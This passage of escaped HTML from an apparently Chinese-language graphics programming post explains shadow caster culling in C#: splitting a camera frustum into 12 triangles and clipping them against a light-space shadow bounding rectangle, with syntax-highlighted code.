class=\"nf\"\u003eTransformPoint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eTransform\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etransform\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eVector3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epoint\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003efloat4\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etransform\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eTransformPoint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epoint\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e然后,给出一个索引列表,这个不唯一,也不用考虑顺时针或逆时针。我是用下面的方式拆分的。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"拆分成三角形\" src=\"../../../obsidian-vault/attachments/Pasted%20image%2020240923211259.png\" /\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003econst\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eFrustumTriangleCount\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e12\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereadonly\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e[]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eFrustumTriangleIndices\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eFrustumTriangleCount\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e7\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e7\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e6\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e6\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e7\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e7\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e7\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e7\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e6\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch3 id=\"裁剪主相机视锥体\"\u003e裁剪主相机视锥体\u003ca class=\"headerlink\" href=\"#裁剪主相机视锥体\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e将刚才那 12 个三角形变换到光源 View Space 后,暂时不考虑 Z 轴,裁剪出阴影包围盒矩形区域中的部分。\u003c/p\u003e\n\u003cp\u003e先考虑一个三角形被一条线裁剪的情况。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"一个点在内部\" src=\"../../../obsidian-vault/attachments/Pasted%20image%2020240924000446.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e三个点都在内部,或者都不在内部的情况就不说了。只有一个点 \u003cspan class=\"arithmatex\"\u003e\\(A\\)\u003c/span\u003e 在内部时,如上图。根据相似三角形很容易算出 \u003cspan class=\"arithmatex\"\u003e\\(P\\)\u003c/span\u003e 和 \u003cspan class=\"arithmatex\"\u003e\\(Q\\)\u003c/span\u003e 点的坐标,进而将 \u003cspan class=\"arithmatex\"\u003e\\(\\triangle ABC\\)\u003c/span\u003e 裁剪为 \u003cspan class=\"arithmatex\"\u003e\\(\\triangle APQ\\)\u003c/span\u003e。两个点在内部的情况和上面类似,只是裁剪出来是一个四边形,要再拆成两个三角形。\u003c/p\u003e\n\u003cp\u003e一个三角形被一个矩形裁剪,相当于依次被这个矩形的 4 条边裁剪。最坏情况下,每次三角形都是两个点在内部,然后三角形数量翻倍,最后变成 16(2 的 4 次方)个三角形。\u003c/p\u003e\n\u003cp\u003e对 12 个三角形依次做上述裁剪,视锥体就被裁剪完成了。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nc\"\u003eTriangleData\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eP0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eP1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eP2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eIsCulled\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eenum\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eEdgeType\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eMin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eMax\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nc\"\u003eEdgeData\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eComponentIndex\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eValue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eEdgeType\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eType\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"na\"\u003e[MethodImpl(MethodImplOptions.AggressiveInlining)]\u003c/span\u003e\n\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eunsafe\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eAdjustViewSpaceShadowAABB\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eShadowCasterCullingArgs\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat4x4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eviewMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMax\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efrustumCorners\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estackalloc\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eShadowCasterCullingArgs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eFrustumCornerCount\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eShadowCasterCullingArgs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eFrustumCornerCount\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efrustumCorners\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emul\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eviewMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eFrustumEightCorners\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]).\u003c/span\u003e\u003cspan class=\"n\"\u003exyz\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eEdgeData\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eedges\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estackalloc\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eEdgeData\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eComponentIndex\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eValue\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eType\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eEdgeType\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eMin\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eComponentIndex\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eValue\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMax\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eType\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eEdgeType\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eMax\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eComponentIndex\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eValue\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eType\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eEdgeType\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eMin\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eComponentIndex\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eValue\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan 